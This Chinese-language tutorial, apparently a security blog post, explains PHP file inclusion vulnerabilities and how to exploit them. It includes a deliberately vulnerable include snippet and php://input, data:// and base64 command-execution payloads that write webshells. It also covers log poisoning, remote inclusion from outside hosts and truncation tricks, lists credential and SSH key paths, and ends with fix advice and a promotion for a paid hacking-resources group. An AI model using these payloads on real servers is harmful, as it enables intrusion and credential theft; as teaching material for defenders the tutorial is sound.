和SQL注入等攻击方式一样,文件包含漏洞也是一种“注入型漏洞”,其本质就是输入一段用户能够控制的脚本或者代码,并让服务器端执行。
什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程就叫做包含。
有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。
以PHP为例,常用的文件包含函数有以下四种:
include()
require()
include_once()
require_once()
区别如下:
require(),找不到被包含的文件时会产生致命错误,并停止脚本运行。
include(),找不到被包含的文件时只会产生警告,脚本将继续运行。
include_once()与include()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
require_once()与require()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
被包含的文件在服务器本地,这里演示一个最简单的文件包含,源码如下:
<?php
$filename=$_REQUEST['filename'];
include $filename;
?>
1、首先上传phpinfo代码,之后直接包含就可以完成getshell
2、使用多个../完成目录穿越,查看linux的passwd文件
./表示当前位置路径,../表示上一级路径位置,在linux中同样适用。
一些常见的敏感信息路径:
Windows系统:
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息
Linux/Unix系统:
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
上传带有shell的图片,利用包含漏洞getshell
读取文件内容,如php源代码
包含日志文件来getshell
包含 proc/self/environ 来getshell
phpinfo包含临时文件
file:// 访问本地文件系统
http(s):// 访问 HTTPs 网址
ftp:// 访问 ftp URL
php:// 访问输入/输出流
Zlib:// 压缩流
Data:// 数据
Ssh2:// security shell2
Expect:// 处理交互式的流
Glob:// 查找匹配的文件路径
phar:// PHP归档
rar:// RAR
ogg:// 音频流
常用伪协议讲解:
1. file://
(1)这个协议可以展现本地文件系统,默认目录是当前的工作目录。
(2)例如:file:///etc/passwd、file://key.txt
2. php://
(1) php://input是个可以访问请求的原始数据的只读流,可以访问请求的原始数据的只读流,将post请求中的数据作为php代码执行。
(2) php://filter是一种元封装器,设计用于数据流打开时的筛选过滤应用。
3.phar://
(1)phar://数据流包装器自PHP5.3.0起开始有效
(2)例如:phar://E:/phpstudy/www/1.zip/phpinfo.txt
phar://1.zip/phpinfo.txt
伪协议利用方式总结:
可以利用data://或php://等协议来完成文件包含
php://
条件:php<5.0,allow_url_include=off 能使用
php>5.0,allow_url_fopen=On 能使用
例子:include.php?filename=php://input,然后在post请求中通过input把语句上传执行
<?php fputs(fopen("shell.php","a"),"<?php phpinfo();?>") ?>
data://
为数据流封装器,data:URI schema,利用data://进行远程代码执行思路与php://类似,都是利用php中的流将原本include的文件的文件流,将原版的include文件重定向到用户可控的数据流中。
条件:allow_url_include=on,php>5.2
例子:include.php?filename=data://text/plain,<?php system(id)?>
base64变形:include.php?filename=data://text/plain;base64,PD9waHAgc3lzdGVtKHdob2FtaSk/Pg==
php://filter
可用于查看源码,直接包含php文件时会被解析,不能看到源码,所以需要利用filter来读取,不过需要base64编码加密后才能传输过来。
例子:include.php?filename=php://filter/read=convert.base64-encode/resource=include.php
getshell-包含日志文件
/usr/local/apache2/logs/access_log
/logs/access_log
/etc/httpd/logs/access_log
/var/log/httpd/access_log
网站配置文件
dedecms数据库:data/conmmon.inc.php
discuz全局:config/config_global.php
phpcms:caches/configs/database.php
phpwind:conf/database.php
wordpress:wp-config.php
系统配置文件
windows:
C:/boot.ini //查看系统版本
C:/Windows/System32/inetsrv/Metabase.xml //IIS配置文件
C:/Windows/repairsam //存储系统初次安装的密码
C:/Program Files/mysql/my.ini //mysql配置
C:/Program Files/mysql/data/mysql/user.MYD //mysql root
C:/Windows/php.ini //php配置信息
C:/Winodws/my.ini //mysql配置信息
linux:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httdp/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd[0-9]*
/proc/mounts
/proc/config.gz
被包含的文件在第三方服务器,即远程服务器上条件:php.ini需配置如下
allow_url_fopen=on
allow_url_include=on
例子:include.php?file=https://maccc.top/1.txt
注:被包含文件最好是一个txt格式
主要0x00作为ascii码中的特殊字符保留,当url中出现%00时表示读取已结束,利用条件如下:
php < 5.3.4
magic_quotes_gpc=off
主要适用于在服务端代码里已写死后缀名(.txt),如只能传入文件名(1),当传入完整文件名(1.txt)时会发生错误,00截断就能帮助绕过这类限制完成getshell
上传带有木马的图片
文件包含通过00截断访问目标图片,如 test.php?file=x.jpg%00
使用蚁剑连接目标
主要利用操作系统对目录最长长度限制,利用条件如下:
php < 5.2.8
文件名要求:linux文件名需长于4096 winodws文件名需长于256
将文件名命名为超过系统目录的最长长度限制
test.php?file=x.jpg………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………
主要适用于远程包含,利用条件如下:
php>=5.3
allow_url_fopen=on
allow_url_include=on
在远程文件包含时在文件最后添加问号可完成截断
test.php?file=http://192.168.0.121/x.txt?
1.严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是否可被外部控制;
2.路径限制:限制被包含的文件只能在某一文件内,一定要禁止目录跳转字符,如:“../”;
3.包含文件验证:验证被包含的文件是否是白名单中的一员;
4.尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include('head.php')。
本地文件包含漏洞涉及的函数有哪些?
include:包含并运行指定的文件,包含文件发生错误时,程序警告,但会继续执行。
include_once:和 include 类似,不同处在于 include_once 会检查这个文件是否已经被导入,如果已导入,下文便不会再导入,直面 once 理解就是只导入一次。
require:包含并运行指定的文件,包含文件发生错误时,程序直接终止执行。
require_once:和 require 类似,不同处在于 require_once 只导入一次
★
欢 迎 加 入 星 球 !
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员
进成员内部群
星球的最近主题和星球内部工具一些展示
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推荐阅读